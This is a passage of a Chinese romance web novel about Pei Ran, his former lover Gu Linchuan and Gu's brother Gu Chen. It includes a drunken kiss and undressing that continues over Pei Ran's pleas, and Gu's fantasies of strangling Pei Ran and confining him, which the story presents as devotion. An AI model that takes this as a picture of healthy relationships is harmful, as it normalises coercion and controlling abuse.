顾临川困在他腰上的手一松,越过他,摸到了门锁,“滴滴”一声,指纹认证成功。
见大门打开,裴然顿时羞红了脸,方才只听顾临川问他钥匙的事情,倒是忘了看,房门早已换成指纹锁。
他回过头,拉着顾临川进门,在漆黑的玄关处摸索着,刚找到灯的开关,下一秒就被人紧紧拥进怀里。
“唔——”
唇被一个同样湿软的触感堵上,黑夜里顾临川的脸近在咫尺,裴然用了好长时间才明白过来,他们在接吻。
靠近之后顾临川灼热的气息更甚,酒气熏天但手劲很大,禁锢着他的双手。
“等一下……”裴然趁着呼吸的间隙出声,试图制止。
顾临川恍若未闻,只盯着他红润的唇,待他喘息几秒后,又狠狠地吻上。
不算温柔的一个吻,顾临川吻得很凶猛,像草原上饿久了的猛兽,要将眼前的人拆吃入腹。
记忆是很可怕的东西,几乎是被吻住的一瞬间,熟悉的气味和触感就将他拉回从前。
他们太熟悉彼此了,对方的每一寸肌肤都留有印象,所以只需一次触碰,便似干柴遇到烈火一般猛烈燃烧起来。
大脑氧气逐渐稀薄,裴然无力思考,只能凭借本能回吻住对方,眼睫轻颤。
不知道过了多久,缠绵的吻终于结束,裴然唇上亮晶晶,脱力般倒在他怀里,拽着他的衣襟无声地流泪。
顾临川低头,“怎么了?”
裴然望着他,像是看见了十八岁的爱人,眼泪于是更汹涌。
裴然身子控制不住地发抖,很想问他,为什么要吻自己,但他害怕答案不是自己想要的,所以只是一直在摇头。
他又自顾自地想着,他认错人了吗?是这样的吧,没关系,我会保守秘密的,就当什么也没有发生过。
顾临川用指腹擦过他的眼尾,带走一片湿润,声音难得温柔:“不要哭。”
少年时期的顾临川才会用这样的语气同爱人讲话,裴然
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怔愣一瞬,内心突然升起一阵莫名的勇气。
他停下哭泣,问他:“你知道我是谁吗?我是裴然,你、你有认错人吗?”
“裴然?他要和顾辰订婚了……今天在家宴上我听到了……”
顾临川神思模糊,眼神很痛苦,像坠入梦魇,但裴然低着头,没有看见。
“不是的。”裴然着急地打断他,“我没有和顾辰在一起,更不会和他订婚,我们只是在演戏,我不喜欢他,我只喜欢……”
剩下的话,裴然骤然收住,生怕被顾临川听到尾音溢出的“你”字。
顾临川听得不清楚,但他在阳台目睹了一切,饶是如此也嫉妒地发狂,于是又低头吻住他。
这次的吻很温柔,顾临川含着唇瓣,离开时轻轻咬了一口。
“不重要,我不在乎。”顾临川这样说。
因为不论如何,顾临川都不会放手的,这辈子裴然只能是他的,真的喜欢上别人了又如何,真的结婚了又如何,他有一辈子,他可以等,可以抢。
他会在婚礼上把真正的裴然藏起来,关在一座无名的小岛上,他们隐姓埋名或痛苦或幸福地过完一生。
幸好,裴然还爱着他,他不用这样做。
恍惚间,才发现,他才是这段感情里的下位者,是他一直在祈求裴然的爱,没有这份爱就活不下去。
但这番话落到裴然眼底,却完全变了味道,裴然如坠冰窟,以为顾临川不仅认错了人,还根本就不在乎自己。
也难怪,顾临川怎么会吻自己,裴然勾着唇自嘲地笑了笑。
问清楚以后,裴然反而冷静下来了,收拾好情绪,从他怀里出来:“你先休息,我去给你做醒酒汤。”
顾临川攥着他的手腕,把他往回带:“不用了。”
裴然擦了擦眼泪,掰开他的手,“用的,不然明天起床,你会头疼。”
“去卧室。”顾临川不讲道理,直接拦腰抱起,一路往卧室走去。
“你干什么?放开我。”裴然惊呼一声,挣扎着要下来。
“别乱动。”顾临川顺手拍了拍他的屁股,示意他安分点,裴然僵着身子,不敢动了。
进了卧室,裴然视线被一副挂在床头的装饰画吸引,画上挂上白布,遮去了画的内容,不知为何,裴然心底涌上一股怪异的感觉。
他伸出手,想去拽那块白布,看清楚画的内容,但是下一秒,顾临川便欺身压上他,细密的唇落在颈项间,连咬带磨。
裴然吃痛,收回手颤抖着声音推他:“你看清楚我是谁好不好?我求求你,不要这样。”
“我看得很清楚。”顾临川抬起头,坐起身来,“你不喜欢吗?我们以前一直是这样的,为什么现在不要了?”
裴然心里感到悲凉,顾临川居然有自己固定的床伴,不,不一定,或许是恋人,只是他把人保护得很好,没有让流言蜚语找到他的踪迹。
真好啊,裴然心里想着,眼角滑落一滴泪,失神地望着墙上那幅画。
顾临川掐着他的腰,倒在床上,简单几下就褪去衣物,呼吸的温热撒在脖颈间。
裴然还在做最后的挣扎:“不是喜不喜欢的问题,你认错人了……顾临川……”
“安静点,好不好?”顾临川低声哄他,俨然一副温柔模样,“头好痛,你陪陪我。”
裴然紧张地咽了咽口水,有些害怕接下来的事情。
但是顾临川始终只是抱着他,手紧紧箍着,像是怕他逃跑。
用鼻尖蹭了蹭他的额头和脸颊,最后在唇上落下一吻,随后便沉沉睡去。
26.第 26 章
半夜,裴然感觉自己像一只巨大的人形安抚玩具,被顾临川紧紧搂在胸口,耳边时不时传来几声不安的梦呓。
他轻叹一声,抚上他紧皱的眉头,不自觉也跟着皱眉,低声埋怨:“睡觉也这么凶,也不知道跟谁学的。”
一直到天光乍亮,顾临川才稍稍睡得安稳,裴然拿了一块枕头过去塞进他怀里,自己则是捡起地上零零散散的衣物,蹑手蹑脚溜出房门。
大年初一的清晨,街上弥漫着烟花炸过后的硝烟味,裴然沿着街走了许久,都没有遇见出租车,无奈只好步行回家。
手机还剩最后一点电,裴然开了机,密密麻麻的短信接二连三地跳出来。
大多都是是好友发来的新年祝福,最多的是顾辰发来的消息。
裴然疲惫地揉了揉眉心,点进去看了看,大概内容是道歉和表示后悔,问能不能做朋友。
裴然轻叹一声,继续往下看。
顾辰又发了几条烟花的视频,最后一张图片是裴然家门口,他留言:然哥,我想见见你,你不开门也没关系,我会一直等。
裴然刚走到电梯口,按按钮的手指猛地一顿,顾辰来找他了?
不确定顾辰还在不在,裴然不敢贸然上去,思来想去,只好又离开。
这下真是无家可归了,裴然无奈地沿着江岸散步,年初一也有人在这里钓鱼。
裴然向钓鱼的人借了一个小马扎,也像模像样地坐在那里。
“小朋友,你怎么一个人出来啊?你家里人呢?”
钓鱼佬见他神情淡漠,眉宇间又透露着忧郁,这个时间点出现在江边,生怕他是来江边寻短见的。
裴然捡起一块石头在手里掂了掂,没往下扔,闻言含糊道:“无聊么,就出来走走。”
那人还是心有疑虑,问他:“小朋友,要不要给你爸妈打个电话,通知他们一下?你一个人出来,他们能放心吗?”
裴然长得显小,钓鱼的人还以为他是高中生,把手机递过去,让他输家长的号码。
裴然笑了笑,“我爸爸不在了,妈妈在国外,我一个人住,没关系的,我坐一会儿就走。”
“……”钓鱼佬。
完了,这不会真是来跳河的吧。
但他不敢再问,生怕再问下去,会听见更悲惨的故事。
他收回手机,看似认真地钓鱼,实则余光紧紧盯着裴然,幸好他只是闭着眼睛在睡觉,没有什么异常。
终于,清晨第一抹阳光洒下来,照映在江面上波光粼粼。
裴然昨天夜里没睡好,此刻被阳光晃醒,有些起床气,整个人闷燥不已,脸色也不好看。
钓鱼的人瞬间拉高警戒,这下是演都不演了,直接盯着裴然看。
裴然揉了揉眼睛,打算起身离开。
谁料,站起来的一瞬间眼前突然一黑,紧接着是天旋地转般的晕感,来不及反应,他失去意识,往前面的江里栽倒。
钓鱼的人一看,果然是来跳河的,这还得了,一个飞扑上去把裴然拉住。
“哎哟,小朋友,你做什么要在大年初一跳河啊?有什么事都能解决的,千万不要想不开啊。”
裴然被抓着肩膀使劲晃,脸色惨白如蜡,好半天才回过神来,有点搞不清发生了什么,声音虚弱地问:“怎么了?”
“你要跳江,我给你拦下来了,别跳了,我能给你救下来,说明你命不该绝,好好活下去。”钓鱼的人痛心疾首,苦口婆心地劝他。
裴然:“……?”
他什么时候要跳江了?
他试图给自己解释:“麻烦你了,我刚刚低血糖犯了。”
这种时候钓鱼的人哪听得进去,只是一个劲地劝他:“生命多美好,虽然可能有时候不如意,但是只要活下去,我们才能创造更多的可能……”
“真的不是……”裴然百口莫辩。
钓鱼的人一顿说,舔了舔干燥的嘴唇,让他当着自己面给家里人打电话来接。
裴然摆手:“真的不用了,我自己可以回去。”
“不行,你今天必须打电话,我要看着你家里人把你接走,不然我不会让你走的。”钓鱼的人坚持。
裴然手指在通讯录里翻了又翻,只好打给庭婷,电话刚接通,裴然还来不及说话,电话就被抢走。
“你好,请问是机主的家人吗?”
庭婷才刚刚睡醒,打完哈欠听到陌生的声音,立马清醒:“是的,发生什么事了?”
“是这样的,这位小朋友刚刚在江边想跳江……”
“什么?!跳江?!”庭婷从床上猛地弹起来。
“女士你别激动,孩子现在没事,已经被我救下来了,麻烦你到这里来接一下。”钓鱼的人末了忍不住多说了两句,“回去好好跟孩子说,有什么事情过不去的,做家长的,不要苛责,不要给大多压力,知道吗?”
“什么?!孩子?!”庭婷又一次震惊地喊道,“大哥,请问你是不是打错电话了?”
庭婷听的一脸懵,每一个字都能理解,组合到一起又变得陌生。
“没有打错呀,这是孩子自己的手机。”钓鱼人把手机拿开看了看,备注是庭婷的名字,所以他也不清楚两人之间的关系,“总之,你快点来吧。”
“大哥,让我跟她说两句吧。”裴然从低血糖的眩晕中缓过来,接过手机,同庭婷解释,“不用过来了,详细的我稍后跟你讲。”
“欸欸欸,小朋友你怎么……”钓鱼人闻言,操碎了心,又要从他手里抢手机。
庭婷当下便说:“定位给我,我已经穿好衣服了,很快就来。”
说完就挂断了电话,也不给裴然反应的时间,由于电话是免提,所以钓鱼人也放下心来,拉着裴然坐在小马扎上。
“来吧,我们一起等你的监护人来接你。”
裴然无奈地笑了笑,问他:“你觉得我多大?”
钓鱼人盯着他的脸看了几秒,才说:“十七。”
“我今年都二十六岁了,刚刚电话里的只是我朋友,不是家属。”裴然说。
钓鱼人震惊万分:“二十六?!”
裴然点点头:“对呀。”
“二十六了你怎么还长小孩样?”钓鱼人看着他的脸,知道他已经二十六之后又觉得合理,“不过也对,也就差几年。”
裴然笑了笑,没说话。
两人在江边等着,期间钓鱼人还钓上来两条鱼,乐呵呵地,直夸裴然有福气。
裴然心下动容,明白他是在哄自己,生怕自己又情绪不好了。
不多时,庭婷急匆匆赶到,江边风大,吹乱她的头发,她干脆直接全部扎起来,急匆匆地喊着裴然的名字。
裴然从椅子上站起来朝她招手,“在这里。”
庭婷赶紧跑过来,急得呼吸都来不及,眼眶被寒风吹得通红,抓着裴然一顿乱摸:“然哥,你没事吧?”
裴然说:“
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我没事,你听我说……”
“没事你跳江干什么?”庭婷见他确实没事,脾气也上来了,难得朝他发了怒,情绪激动地打断他,“你就这么不顾及自己,不顾及我们,你有什么事情不能跟我讲?你要把我吓死是不是?”
“好了好了,我没事,你慢慢讲。”裴然轻轻拍着她的背,给她顺气。
“你们好好聊,我去那边看着杆子。”钓鱼人看着他们互动,便到一旁坐着,不打扰他们。
“留步。”庭婷总算冷静下来,叫住他,“是你救了然哥吗?非常感谢您,方便留个电话吗?后面我们会给你一些报酬。”
钓鱼人嗨了一声,表示不用,指了指桶里的几条鱼,“他已经给过了。”
裴然同他挥手道别,庭婷还在念叨,更多的还是后怕。
裴然找到机会开口:“我没有跳江,只是在江边蹲久了,低血糖晕了一下,只是一场误会。”
庭婷不相信,吸了吸鼻子,问他:“那你这么早不在家里呆着,你到这里来干什么?”
不怪庭婷多想,裴然心理状态本来就不好,谁知道受了刺激会做出什么事来,一听到消息便也没了思考能力,只记着害怕了。
“发生了一点意外,不方便回家。”裴然叹了口气,“但是,我是真的没有自寻短见,别为我担心。”
庭婷暂且相信,也没多问,她知道裴然不想说的事情再问也没用,想起刚接到电话时的模样,笑出了声:“我听他说是小孩,我还以为打错了电话,本来刚睡醒就迷糊。”
裴然也笑起来,“他以为我才十七岁。”
庭婷侧头看着他,煞有介事地点点头:“我看也差不多。”
说完她看了看四周,想到什么,问:“顾辰呢?你出事,第一通电话居然不是打给他?”
裴然一顿,有些不自然:“他有点忙,没接电话。”
“难得,连你的电话都不接。”庭婷觉得稀奇,正打算趁机说几句顾辰的坏话,却发现裴然情绪不对劲,“然哥?你怎么了?”
裴然从沉思中回过神,摇了摇头,示意自己没关系。
“你这模样,搞得好像顾辰给你表白了似的。”庭婷开了个玩笑。
“……”裴然无声地望着她。
“哈哈。”庭婷见他表情不对劲,笑声便停了,咽了咽口水,笑容凝固在脸上,“不会是真的吧?”
裴然也不知道该怎么办,只好点了点头。
“我的天呐。”庭婷简直不敢相信,“他居然真的敢?”
裴然少见的茫然,“我该怎么说,会好一点。”
“依我看,你就干脆直截了当地拒绝,好过在这里拖拖拉拉的。”庭婷仍然止不住惊叹,“我之前跟你讲什么,我早就看出他心思了。”
“我会找个时间,好好和他谈谈的。”裴然说。
庭婷点头,拉开车门,打算先把他送回家。
半路,裴然突然说:“把我送到最近的酒店吧。”
庭婷依言照做,犹豫半晌还是问了:“你是怕顾辰来找你吧?”
裴然点头,“我暂时还不知道怎么面对他。”
“也好,他就是个长不大的小孩,等你冷他几天,估计就好了。”
裴然也这样认为。
到了酒店,裴然下了车,同她道别后,便去酒店开了一间房,打算这几天先在这里暂住。
裴然精疲力尽,脱了外套之后沾床便睡着了。
27.第 27 章
不知过了多久,裴然是被一阵尖锐且急促的电话铃声吵醒的,他立刻惊醒,反应过来这是他给母亲的主治医生定制的专属铃声。
“晚上好先生,很抱歉顶着时差贸然给你打电话。”主治医生说,“不过我想,听完我的话之后,你的起床气再大也会瞬间消失了。”
裴然眼睛倏地瞪大,“是我母亲又能动了吗?”
医生忍不住笑起来:“不止这样,先生,恭喜你,你母亲已经完全苏醒了。”
“真的吗?”裴然控制不住的激动起来,差点从床上滚下去,“能探视吗?我现在马上飞回来。”
“不用着急,她现在还在观察阶段,每天苏醒时间十分钟左右,如果有空的话,当然希望你随时回来,她一定也很想见到你。”
“我会尽快,麻烦你给我拍一些照片和视频好吗?”裴然问。
“当然,早就发送到你的邮箱了。”
裴然挂断电话,才发现眼泪已经流了满脸,他点开邮箱,洁白的病床上,徐梦援女士安静地躺着,今日床头摆的是百合花,衬得徐女士很温柔。
视频里面,徐女士睁着眼睛,面色苍白但能看得出精神不错,苏醒的时候思维很清晰,面前人说话也能听明白。
“然然……”视频的结尾,徐女士对着镜头微微一笑,眼眶里也蓄着泪,仿佛隔着屏幕看见了自己的孩子,轻声呼唤。
“妈妈,我好想你……”裴然痛哭出声,捧着手机像一个不知所措的幼童,手指抚上母亲的脸庞,但只触碰到一片冰冷。
他终于等到了这一天,在英国的每一天他都在期待着,每一次从病床前睁开眼,他都好想让母亲的手抚摸自己的头。
当下,裴然没时间思考其他的,当即便开始订机票和规划行程,最近一班在明天下午,时间刚好。
一切处理好,裴然看向窗外外,年初一夜晚热闹非凡,烟花爆竹声透过窗户在耳边响起,在透明玻璃的照应里,一家三口幸福美满。
年幼的裴然躺在母亲怀里,困得止不住点头,“妈妈,待会儿一定要叫我起来跨年哦。”
说完便忍不住睡过去了,徐梦援和裴晋南相视一笑,轻轻拍着孩子的背,轻声道新年快乐。
“新年快乐!咕咕!”
三人纷纷结束家庭和商业性的聚会,到了酒吧汇合,一起过新年。
刚一见面,戚贺昀就迫不及待地冲上去,作势要去揽他的肩。
顾临川勾唇轻笑,也难得纵容他,“新年快乐。”
说完看向他身后的枚烨,点头,“你也是。”
枚烨应声,把戚贺昀从他身上捞下来,让他规规矩矩坐着。
“新年第一天,迟到的酒就算了。”顾临川把桌子上的迟到罚酒收起来,知道他们晚上应酬喝了不少,便换上热茶。
“咕咕,你知道的,家里很多亲戚,难免浪费了点时间。”戚贺昀笑嘻嘻地,拿起红茶喝了一口,左顾右盼,“怎么不把裴裴叫来一起玩?”
枚烨也看向他,这几天没联系,他也不知道两人的进度,同样好奇。
顾临川面色如常:“他没空。”
“咕咕,你都没问,怎么知道他没空?”戚贺昀不赞同,拿出手机一边发消息一边教育顾临川,“咕咕,你这样是追不到他的,追人要用心,你这么忙,平时都没时间陪他吧?”
“哦?”顾临川佯装感兴趣,“看起来你很懂?愿闻其详。”
“哎呀,我也不是很懂啦。”戚贺昀摆摆手,做出一副谦虚样,“不过第一步嘛,你得把他约出来。”
顾临川挑眉,摊手示意他发消息,“很期待你的帮忙。”
戚贺昀得意起来,一脸的看我的吧,打了电话过去没人接,转而又去发消息,半晌也没人回。
他小声地嘟囔:“裴裴不是说初三之后才会去探亲吗?怎么初一就消失了?”
枚烨向他投去一个眼神,询问他怎么回事。
但顾临川全部精力都在戚贺昀的手机上,没注意到他。
等了一会儿,还是没有回复,戚贺昀耷拉着脸,有些失落:“看来裴裴真的没空。”
顾临川喝了口茶,没说话,落在身侧的拳头捏得很紧。
很好,看来裴然为了远离他,竟然连戚贺昀都要疏远。
他又想起早上起来,宿醉后头很痛,侧头是满地的狼藉。
身侧床单已经皱了,但没有温度,显然人已经离开很久了。
他对昨天晚上的记忆不太清楚,但他明白自己在做什么,他吻了裴然,甚至提到了从前,心思昭然若揭,哪怕是这样,醒来之后裴然仍要离开他。
裴然永远学不乖,他舔了舔犬牙,内心感到难以控制,脑海里浮现出他掐着他的脖子的画面,随后把人关进暗无天日的地下室。
他晃了晃头,试图把这些危险想法甩出去,现在还不是时候。
“咕咕?”戚贺昀伸手在他眼前晃了晃,“你想什么呢?跟你说话都不答应。”
“没事。”顾临川回过神,问他。“刚刚说什么?”
“我说,我们一起挑一部电影看吧,你有什么建议吗?”
“都可以。”
“看吧,我就知道你会这样讲,那就我自己选了。”
戚贺昀在枚烨和顾临川两人那里都得到了一样的回答,撇撇嘴,转头去找挑片子了。
戚贺昀选了一部文艺的电影,刚开始看得津津有味,拉着两人讨论,电影剧情过半,戚贺昀就趴在枚烨肩头睡着了。
顾临川颇为无奈,“不是他要看的?”
“别吵。”枚烨轻柔地把人抱起来,往外走,“我带他去休息室。”
顾临川起身,让路。
半小时后,枚烨重新回到包厢,醒了一瓶红酒,“喝点?”
顾临川点头,接过酒杯,一口闷了。
“喝这么急,有心事?”枚烨了然地看着他,“听说昨天中午,顾辰把小然带回你家,见家长了?”
顾临川:“……”
“可以啊,兜兜转转都是你们顾家的人,弟媳也是媳。”枚烨不怕死的继续说,最后一句说完自己都笑了。
“被戚贺昀传染了?怎么这么吵?”顾临川本就烦躁的心更燥,没什么好脸色,“年夜饭吃的是毒药?”
“我吃的什么不重要,重要的是,我说的是不是事实?”枚烨耸了耸肩。
“闭嘴。”顾临川淡淡道。
“话说,你没做什么吧?”枚烨深知顾临川的脾气,问这话心里也没底。
“做了。”
“做了什么?”
“该做的,不该做的,都做了。”顾临川瞥了他一眼。
枚烨点了点头,倒也不算惊讶,只是
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有一点:“不打算瞒着他失忆的事情了?”
“本来就没刻意瞒着,喝了酒,没顾及太多。”顾临川摸了一根烟出来,但始终没点燃,只是夹在手指间。
“那他现在都知道了?”枚烨问。
“不知道,蠢死了。”顾临川脸色难看,手中的烟都快被碾碎,“最近又在躲我,找不到人了。”
枚烨没说话,走过去和他并肩站在一起。
夜风徐徐吹过,带着刺骨的寒意,两人迎风而立,皆是思绪万千。
过了许久,屋内的电话响起,顾临川这才拍了拍他的肩,随后进屋。
来电显示是宋妍宜,顾临川接起:“有事?”
“临川,爷爷出事了。”宋妍宜刚哭过,声音还有些哽咽。
“慢慢说,不要急。”顾临川一边抓起外套,一边往外赶,“地址发我,马上到。”
阳台上的枚烨见他神情严肃,便也抓着衣服快步跟了上去,“发生什么事了?”
“宋家出事了。”顾临川言简意赅,脚上步履不停。
枚烨心下大惊,连忙跟上去。
两人都喝了酒,只好叫来司机,上车后,顾临川才收到宋妍宜发来的消息,有语音也有文字,断断续续的。
大年夜,宋家照例一家人齐聚吃年夜饭,晚饭后宋老爷子便表示自己身体不舒服,先回了房间。
之后早晨也说没精神,便没有下楼和众人一起吃早饭。
宋妍宜自觉不对劲,爷爷身体虽然不佳,但也不至于连着两次都不露面,于是她上了查看,屋内老爷子声音虚弱,让她先下去,他歇会儿便好。
宋妍宜只好下楼迎客。
谁料,晚饭时候,佣人上楼去叫老爷子,老爷子却不在房间里,众人急忙到处寻找,最终在后山找到了老爷子。
老爷子从山坡上摔下来,当场昏迷,又发现的很晚,现在还在抢救中,至今没有脱离危险。
在场的人太多,消息根本封锁不住,现在整个集团都陷入一片混乱。
顾临川和枚烨赶到时,宋妍宜站在众多亲戚间,强压下心中的担忧和怒意,一遍又一遍的安抚,人群仍然躁动不安。
“爷爷还在接受治疗,一定会好起来。”宋妍宜一遍又一遍的强调。
“老爷子之前就生着病,真的能救回来吗?”人群中不知道是谁大声吼出来。
此话一出,一呼百应,众人皆开始窃窃私语,毫不掩饰自己的野心。
宋家虽是宋妍宜当家,但宋家众人都不服气,明里暗里地想夺权,平日里靠着宋老爷子的支持,大家不敢说什么。
可是靠山一倒,大家就纷纷躁动起来。
宋妍宜的表哥宋致远假兮兮地站出来,“如果爷爷走了,我会和小宜一起守护好爷爷留下的家业的。”
宋妍宜强忍着没爆粗口,低声呵斥:“大过年的,不许说这样的话!”
宋致远笑着看她,完全没把她放在眼里,正要开口,门口传来管家的声音。
“顾总和枚总到了。”
一瞬间,众人炸开了锅,毕竟顾临川可是宋妍宜的未婚夫,若是有了顾家的支持,宋妍宜就比宋致远可靠多了。
尽管宋致远开出的条件更诱人,但是顾家这棵常青树,能攀上是最好的。
众人面面相觑,都变了脸色,神色即贪婪又恐惧。
28.第 28 章
“诸位,好生热闹啊。”顾临川人未到,声先至。
枚烨紧随其后,两人一席黑衣,长身玉立,面容冷峻,一出场便吸引了全场的目光。
宋妍宜瞬间找到了主心骨,穿越拥挤的人群走上前,挽着顾临川的胳膊,柔声道:“临川,你怎么来了?还有烨哥。”
枚烨不动声色地动了位置,站在宋妍宜身后,两人一右一后,形成无声且坚硬的屏障。
“过新年,我总要来问候一下。”顾临川掀掀眼皮,无视面前的人,问,“爷爷呢?”
在场人瞬间噤声,毕竟老爷子于顾临川有恩,如今在宋家家宴上出了事,保不齐会怪罪他们看护不力。
宋妍宜红了眼眶,“爷爷今天晚上摔倒了,现在人还在医院。”
“既然如此,你先去医院吧,这里有我。”顾临川说完,又转头看向面前众人,“各位,有什么异议吗?”
人群哄闹起来,皆是连连摇头,表示没有任何问题。
宋妍宜朝他感激一笑,随后急匆匆上楼收拾东西,“麻烦了。”
枚烨低声问:“需要我陪你一起吗?”
“不用了。”宋妍宜说,“你和临川在家里替我稳住他们就好,我一个人可以照顾好爷爷。”
枚烨点头,没再坚持。
宋妍宜走后,宋家各位亲戚瞬间倒戈,把宋致远晾在一旁,窃窃私语间都是顾临川和宋家的婚事。
宋致远恨得牙痒,半眯着眼顺着大家的意思问:“顾总和妍宜的婚事,何不早早定下来?现在爷爷情况危急,还需顾总的帮助啊。”
余下众人也应道,毕竟从前只是口头上定下的婚约,没有办婚宴宣告圈内人,终归是心里没底。
“你怎么这么确定,爷爷会出事?”顾临川漫不经心地坐上主位,看向他的眼神如刀,“还有,你现在是以什么身份站在这里跟我讲话?”
宋致远一时语塞,他脸色涨得通红,眼里藏不住恨意,在这多亲戚面前都不给他好脸色,让他如此没面,一定是宋妍宜那个贱人的授意。
枚烨冷着一张脸,站在顾临川身侧,“据我所知,宋氏集团在妍宜的带领下,发展得很好,没有联姻的帮扶,又如何?”
人群中有人开始附和枚烨,宋致远身边也没了簇拥着的人,他低头摆弄着手上的刀叉,眼底闪过杀意。
见顾临川无意谈论婚事,大家也都人精似的闭口不谈,面上不显,但心里揣着几丝疑虑。
医院里,宋老爷子总算脱离危险,只是还未能苏醒,宋妍宜便一直守在病床前。
她第一时间把这个消息传回老宅,稳住众人。
宋妍宜忙碌了一天一夜,没有进食也没有睡觉,此刻面色疲惫,一向精致的妆容和发型也变得乱糟糟。
等老爷子情况安稳下来,她才赶紧从医院离开,返回老宅。
此刻,昨夜闹哄哄的宅子已经归于寂静,清晨的雾色下,显出几分阴森可怖之感。
好好的一个家,怎么会变成这样。
宋妍宜面露可悲,拖着疲惫不堪的身子往里面走。
顾临川与枚烨同样一夜没睡,三人在花园里汇合。
宋妍宜认真地看着两人:“多谢,没有你们,我真是不知道怎么办了。”
顾临川嗯了一声,先给她解释当前的情况,“老宅里人都在,爷爷摔倒不一定是意外,监控视频和相关资料我和枚烨昨晚已经收集好了,后续移交专业人士调查。医院方面,宋致远言语肯定,我已经加派了人手,确保老爷子的安全。”
枚烨也道:“后山监控死角多,我已经把老爷子贴身的几位佣人和管家单独隔离了,后续你可以亲自询问。”
宋妍宜眼泪又蓄满眼眶,没想到两人为她做了这么多。
感谢的话再说也失去了重量,她唯有处理好家中之事,不让他们所做落空。
“你们先回家休息吧,这里我可以处理好。”宋妍宜叫来司机,送他们回家。
两人应声,叮嘱几句后便离开。
上了车,司机转头询问他们目的地。
枚烨堆了工作没处理,便说要去公司,顾临川则是报了咖啡馆的名字。
“约了人?”枚烨有些意外地看着他。
“嗯。”顾临川答道,“裴然的心理医生。”
“焦虑症?”上次裴然住院,枚烨也了解一点,“我听说是在国外养出来的病。”
“谁说的,戚贺昀?”顾临川侧头看他。
“顾辰。”枚烨说。
“你还跟他聊这些?”顾临川感到烦躁。
“偶然听到的。”枚烨说完,终究没忍住替裴然说了一句,“当初小然跟他去英国,应该有自己的苦衷。”
顾临川讽刺一笑,他何尝不知道裴然有自己的苦衷。
这么多年,他每一条消息都石沉大海,就算出国有不得已的理由,那为什么要分手,为什么要把他扔下,为什么一句话也不讲。
他也曾偷偷跑去英国找他,远远看见裴然和顾辰站在一起,举止亲昵,宛如一对璧人,他差点要疯掉。
为什么顾辰可以和他一起出国,一起面对,而作为他真正的男朋友,却连理由和原因都得不到,被遗忘被抛弃。
枚烨见他面色不虞,不再说这个话题,两人沉默着,到了目的地。
顾临川下了车,心理医生已经早早在包厢内等候。
“顾先生,你来了。”见包厢门被推开,心理医生放下茶杯走上前。
“杨医生。”顾临川示意他坐下,自己则是在他对面落座。
“顾先生,我知道你想了解什么,但是我不是患者的主治医生,并且后续接触较少,我只能告诉你我知道的。”
顾临川点头,“请说。”
“目前判断他是轻度焦虑症,已经到了会疼痛的躯体化阶段,不确定患者日常生活中会不会有自我伤害的倾向。”
“暂时不确定是因为什么引起的焦虑症,并且他的治疗态度不算积极,需要家属的配合。”
顾临川默了默说:“七年前,他家庭出了变故,他出国了,那几年情况我不了解。”
“很可能是家庭变故加上异国多年导致的焦虑,发现的又太晚。”杨医生说,“但心理病症的诱因很复杂,这些事是不是直接导致他焦虑症的原因,或是有其他叠加因素,现在没法下判断。”
“能判断出,引发躯体化反应的具体原因吗?”顾临川问。
医生沉思片刻,“暂时不清楚,不过若是能找到上次发病前,他都和谁接触过,身处什么样的环境,或许可以避免。”
上次发病,是裴然从苏城回来时,傍晚落地,晚上就出了事。
不等他细想,医生继续说着。
“……”
顾临川喉结滚了滚,指尖紧了些,低头,只安静听。
每一句话都像是凌迟的刀子,一刀一刀划在他的心脏上,鲜血淋漓,却也无药可医。
随后医生讲述完,站起来准备离开,顾临川跟在身后送他,末了,忍住多叮嘱两句。
“患者躯体化容易影响生活,作为家属还
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是要多多关照。”
“会的。”顾临川嗓音有些嘶哑。
送走心理医生后,顾临川坐在原来的位置上,看着窗外人来人往,默然不语,直到手边的茶水变得冰冷,才缓缓起身离开。
咖啡馆分为上下两层,二楼为包间,一楼则是大堂,顾临川往楼下走,路过其中一间包间时听到了熟悉的声音。
他循声望去,包间门没关严实,顾辰神色着急,语气激动,“我真的有很重要的事情要讲,求求你告诉我吧。”
对面坐着的人顾临川看不清楚,听声音有点熟悉,是个女人,语气则与他形成鲜明对比,冷淡平静:“无可奉告。”
顾辰抿着唇,胸口剧烈起伏,好半晌才缓和好情绪,言辞恳切:“庭姐,我知道你们平日里不太喜欢我,但这一次我是真心的,求求你给我一次机会,告诉我他在哪里吧?”
等他说完,庭婷嗤笑一声,“真心喜欢?顾辰,其实我从来没有讨厌过你,甚至比Rechal还希望你能和然哥在一起,但是你自己做了什么?”
“我只是跟然哥表白了而已,这么多年了,我连堂堂正正地去追去自己心爱的人也有错吗?”顾辰红着眼眶,与她争论。
“只是表白了而已?!”庭庭气急,“你知不知道然哥病得很重,根本受不得一点刺激!”
“我没有想趁人之危,更不想伤害他……请你相信我。”
庭婷打断他的话,继续说,神情像是听到了什么天大的笑话,“你刚说堂堂正正?你不要忘了,然哥至始至终爱的人是谁!那是你亲哥!你怎么敢在他手底下抢人?”
“不是的,他不爱我哥了!我没有抢!”顾辰猛地拔高声音,不顾形象地大吼,像是在说服庭婷,又像是在给自己找底气,“七年,我陪在他身边七年!”
庭婷看向他,只剩悲哀,“别忘了这七年是怎么来的。”
“然哥不爱我哥了呀,为什么不能爱我呢?”顾辰深深地望着她,轻声呢喃,不知道在问谁。
庭婷深吸一口气,指了指门口:“你走吧,我跟你无话可说了。”
顾辰失魂落魄地走了,只是在转身的那一刹那间,痛苦悲伤的表情瞬间归于平静,仿佛刚才的一切只是一出苦情戏。
只是一瞬间的变化,没人注意到。
庭婷闭了闭眼,从情绪中抽离,刚刚跟他吵得口干舌燥,端着桌上的茶灌了几口才好些。
视线望向门口,又想起方才顾辰带着委屈偏执地和他争执的模样,深深叹了一口气,心里也没底。
毕竟她不能仅凭一个眼神和当年那点模糊的过往,就断定顾辰的确没有真心。
感情这种事情,都说当局者迷,旁观者清,可她这个旁观者却也只看到一团乱麻。
罢了,还是等裴然自己想通之后,亲自和顾辰和顾临川谈吧。
她喝下最后一口已经凉透了的茶,拿起自己的包,推门离开了包厢。
“哔哔。”
庭婷按下车钥匙,车库里传来车子解锁的声音,庭婷踩着高跟鞋,径直朝着车子的方向走去。
“庭小姐。”
地下车库灯光不算明亮,角落里幽幽传来一声呼喊,惊得她脚步一顿,循声望去。
只见顾临川隐在昏暗的光影里,半张脸沉在阴影中,看不清表情。
认出来人,庭婷悬着的心才落回原位,长舒一口气,走到他面前,脸上漾起得体的微笑:“顾总,好巧啊,你也在这里。”
“方便聊聊吗?”顾临川目光落在她脸上,沉声问。
29.第 29 章
迈巴赫缓缓驶出地下停车场,逐渐汇入车流,一路上,两人都沉默不语,气氛凝重。
